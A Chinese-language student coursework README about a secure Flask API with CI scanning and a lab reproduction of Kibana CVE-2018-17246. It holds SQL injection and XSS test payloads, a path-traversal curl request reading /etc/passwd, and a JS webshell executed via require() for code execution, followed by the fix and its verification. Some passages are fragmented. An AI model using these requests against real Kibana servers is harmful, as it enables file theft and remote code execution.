HDU IS Work 1 - 带 CI/CD(pytest + bandit + pip-audit)的安全 REST API(Flask)及 CVE-2018-17246 分析
使用 Python/Flask 构建安全 REST API,通过 GitHub Actions 实现 CI/CD(SAST + SCA + 自动化测试), 并在 Docker 环境中复现真实 CVE 的完整分析(Kibana LFI,CVE-2018-17246)。
姓名: Guhaotian HDU 学号: 23320209
https://github.com/ght657/work1-secure-api(公开)POST /auth/login — 在验证密码哈希后签发签名 JWT。GET /api/data — 受 JWT(Bearer 令牌)保护;返回当前用户的记录。GET /api/users/search?q= — 受保护的读取端点,使用参数绑定 SQL 查询。POST /api/posts(受 JWT 保护)演示了存储型 XSS / 输出转义防护。工作流文件:.github/workflows/ci.yml,在每次推送到 main 时触发。
| 作业 | 工具 | 作用 | 证据 |
|---|---|---|---|
test | pytest 8 | 运行 11 项测试套件 | evidence/07_pytest_run.png |
sast | Bandit 1.8.0 | 对 app/、tests/ 进行静态分析(JSON 报告作为工件上传) | evidence/08_bandit_report.png |
sca | pip-audit 2.8.0 | 依赖审计(JSON 报告作为工件上传) | evidence/09_pip_audit_report.png |
如果任何测试失败或任何 SAST/SCA 发现仍然存在,流水线就会失败,因此红色流水线 意味着必须在合并前推送修复。
11 项测试,全部通过(pytest -q):
tests/test_api.py::test_login_success_issues_token PASSED
tests/test_api.py::test_login_wrong_password_rejected PASSED
tests/test_api.py::test_login_unknown_user_same_error_as_wrong_password PASSED
tests/test_api.py::test_passwords_stored_as_bcrypt_hashes PASSED
tests/test_api.py::test_data_endpoint_denied_without_token PASSED
tests/test_api.py::test_data_endpoint_denied_with_invalid_token PASSED
tests/test_api.py::test_data_endpoint_works_with_valid_token PASSED
tests/test_api.py::test_create_post_requires_token PASSED
tests/test_api.py::test_sqli_payload_treated_as_data PASSED
tests/test_api.py::test_sqli_union_payload_does_not_dump_table PASSED
tests/test_api.py::test_xss_payload_is_escaped_in_response PASSED
11 passed in 2.20s
应用代码是我们自己的,因此首次运行自然不包含第三方噪声。 结果:0 个问题:
Run started:...
Test results:
No issues identified.
Code scanned:
Total lines of code: 228
Total lines skipped (#nosec): 0
Total potential issues skipped due to specifically being disabled (e.g., #nosec BXXX): 0
pip-audit 会列出所有存在已知 CVE 的依赖项;首次运行发现:
Found 19 known vulnerabilities in 3 packages
Name Version ID Fix Versions
------------- ------- ----------------- ------------
flask 3.0.3 PYSEC-2026-2151 3.1.3
pyjwt 2.9.0 PYSEC-2026-120 2.12.0
pyjwt 2.9.0 PYSEC-2025-183 ...
pyjwt 2.9.0 ... up to 2.15.0
python-dotenv 1.0.1 PYSEC-2026-2270 1.2.2
共 19 个条目(Flask、PyJWT ×17、python-dotenv)。我升级到了修复后的版本:
Flask 3.1.3、PyJWT 2.15.0,并移除了 python-dotenv(仅为可选的配置辅助工具——
修复后的 1.2.2 要求 Python ≥ 3.10,而审计 venv 为 3.9)。
修复后:
No known vulnerabilities found
(evidence/08b_bandit_after_fix.png、evidence/09b_pip_audit_after_fix.png)
使用 curl 针对经典攻击对 API 进行了测试。截图位于 evidence/:
POST /auth/login 携带 username: "admin'--" 返回 401 Invalid credentials —
查询使用 ORM 参数化查询对哈希后的凭据进行查找,注入的
载荷始终作为数据,永远不会变成 SQL。
GET /api/users/search?q=%' OR '1'='1 → 该字符串作为参数绑定到
SELECT ... WHERE username LIKE ?(通配符已转义),因此它不匹配任何内容,API
返回空列表 — 没有错误,也没有全表转储。
POST /api/posts 携带 title: "<script>alert('xss')</script>";服务器存储
原始字符串,但在输出时对其进行转义(markupsafe.escape + jsonify),因此返回的
载荷为 <script>alert('xss')</script> — 浏览器会将其显示为文本,而不会
执行它。(使用浏览器渲染的复现过程见 evidence/06_xss_readback.png。)
401 {"error": "Missing or malformed Authorization header"}(evidence/03_data_denied.png)200 + 受保护数据(evidence/04_data_with_token.png)401(使用 HS256 进行签名校验)401(60 分钟过期)Authorization: Bearer <token> 使用
(evidence/10_jwt_structure.png 展示了三段式结构)。密码以 bcrypt 哈希(12 轮)存储,且任何端点都不会返回
(测试 test_passwords_stored_as_bcrypt_hashes)。
/etc/passwd),并且 — 由于存在漏洞的路由要求该文件作为
JS 模块 — 如果可写路径可达(例如通过另一个缺陷或
生成的临时文件),攻击者控制的 JS 可被 Kibana 进程执行。GET /api/console/api_server?apis=../../../../../../etc/passwd — apis
参数在仅经过简单的路径检查后被传递给 require(),允许 ..
序列逃逸服务端的 api 目录并读取/执行任意文件。我使用公开的 vulhub 镜像(已发布,已验证存在漏洞):
vulhub/kibana:5.6.12 + vulhub/elasticsearch:5.6.16 — 参见
CVE-2018-17246/docker-compose.yml(本仓库中同名文件夹)。
cd CVE-2018-17246
docker compose up -d # kibana 5.6.12 + elasticsearch 5.6.16, UI on :5601
步骤 1 — 触发 LFI(Console API 接受一个被解析为文件的 apis 路径):
curl -i "http://localhost:5601/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../etc/passwd"
响应为 500(该文件不是有效的 JS 模块),但文件内容出现在服务器日志中——Kibana 读取该文件并尝试 require() 它:
docker compose logs kibana | grep -i "passwd\|root:x"
步骤 2 — 升级为代码执行。 通过同一路由将一个本地 JS 文件作为模块加载:/tmp/vulhub.js,其中包含一个微型“webshell”,当其导出的函数被 Console API 调用时,会执行一条 shell 命令:
// /tmp/vulhub.js (written inside the Kibana container)
export default {
asJson: function(req, res) { return require('child_process').execSync('id').toString(); }
}
# write the file inside the container and load it
docker compose exec kibana bash -c "mkdir -p /tmp && cat > /tmp/vulhub.js << 'EOF'
export default {
asJson: function(req, res) { return require('child_process').execSync('id').toString(); }
}
EOF"
curl -i "http://localhost:5601/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=/tmp/vulhub.js"
Kibana 日志中,500 响应之前会出现 id 命令的输出(例如 uid=0(root) gid=0(root) groups=0(root)),这证明了任意命令执行。
截图:evidence/cve/02_lfi_request.png、evidence/cve/03_lfi_logs.png、
evidence/cve/04_rce_request.png、evidence/cve/05_rce_result.png。
Kibana 的 src/server/routes/api_server.js(Console API)会解析 apis 查询参数
并对其调用 require(...)。该路径会与 "api" 目录拼接,但
用户提供的片段可能包含 ../ 序列,且在拼接后未进行规范化/限制;
攻击者可逃逸出 api/ 目录并访问任意文件。
由于同一路由会将文件作为 JavaScript 模块加载,一个可读的任意文件
就足以渲染文件内容,而任何攻击者可写入的 JS 文件都会变成代码执行。
该漏洞已在 Kibana 6.4.3 / 5.6.13 中修复:存在漏洞的 Console API 不再
允许 apis 参数解析到允许的 API 目录之外;修补后的
版本会对路径进行规范化,并拒绝预期位置之外的任何内容。
为验证修复,我运行了官方已修补镜像——docker.elastic.co/kibana/kibana:5.6.13
(文件夹 CVE-2018-17246/docker-compose.fixed.yml,说明见 CVE-2018-17246/FIX.md):
docker compose -f docker-compose.fixed.yml up -d
验证——针对已修补版本发起相同的 LFI 请求会失败:
curl -i "http://localhost:5601/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../etc/passwd"
# HTTP/1.1 400 Bad Request (request rejected)
补丁后的服务器日志显示该请求没有文件内容;RCE 测试文件
/tmp/vulhub.js 不再执行(没有 uid= 输出,请求被拒绝)。
evidence/cve/06_fix_compose.png、evidence/cve/07_lfi_after_fix.png、
evidence/cve/08_regression_ui.png(UI 仍能正常加载 → 正常使用无回归)。
require()/include/文件系统调用:任何路径都必须
经过解析、规范化并限制在允许列表目录内,同时拒绝 ..。apis= 路径遍历的 WAF 规则和
Console API 访问控制本可以阻止该攻击。--timeout 120),而 CI 运行器具有正常访问权限。docker.1ms.run)拉取,然后在本地打标签。本 README 中的每条命令
都是实际使用的确切命令。os.environ.get 获取密钥——没有高置信度问题;
Bandit 的 B105/B110 检查已经过审查,流水线干净通过。